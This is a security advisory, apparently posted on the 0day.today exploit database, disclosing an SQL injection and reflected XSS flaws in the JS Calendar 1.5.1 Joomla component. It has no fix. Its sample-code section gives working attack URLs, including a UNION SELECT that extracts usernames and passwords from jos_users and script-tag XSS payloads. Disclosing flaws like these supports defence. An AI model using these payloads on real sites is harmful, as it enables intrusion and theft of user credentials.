0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities
[==================================================================
JS Calendar 1.5.1 Joomla Component Multiple Remote Vulnerabilities
==================================================================
Name JS Calendar
Vendor http://www.joomlaseller.com
Versions Affected 1.5.1
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-10-09
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
JoomlaSeller - Calendar Event is a powerful Joomla!
component which allows you to easily create events and
publish them on a desired date. It is a native build
component for Joomla! 1.5 version and can easily be
installed using the Joomla! back-end Install
functionality.
II. DESCRIPTION
_______________
Some parameters are not properly sanitised before being
used in a SQL query or returned to the user.
III. ANALYSIS
_____________
Summary:
A) SQL Injection
B) Multiple Reflected XSS
A) SQL Injection
________________
Input passed to "ev_id" parameter is not properly
sanitised before being used in SQL queries. This can be
exploited to manipulate SQL queries by injecting
arbitrary SQL code.
B) Multiple XSS
_______________
Input passed to the "month" and "year" parameters are
not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML
and script code in a users browser session in context
of an affected site.
IV. SAMPLE CODE
_______________
A) SQL Injection
http://site/path/index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
B) Multiple XSS
http://site/path/index.php?option=com_jscalendar&view=jscalendar&month=<script>alert('XSS');</script>
http://site/path/index.php?option=com_jscalendar&view=jscalendar&year=<script>alert('XSS');</script>
V. FIX
______
No fix.
# 0day.today [2024-12-24] #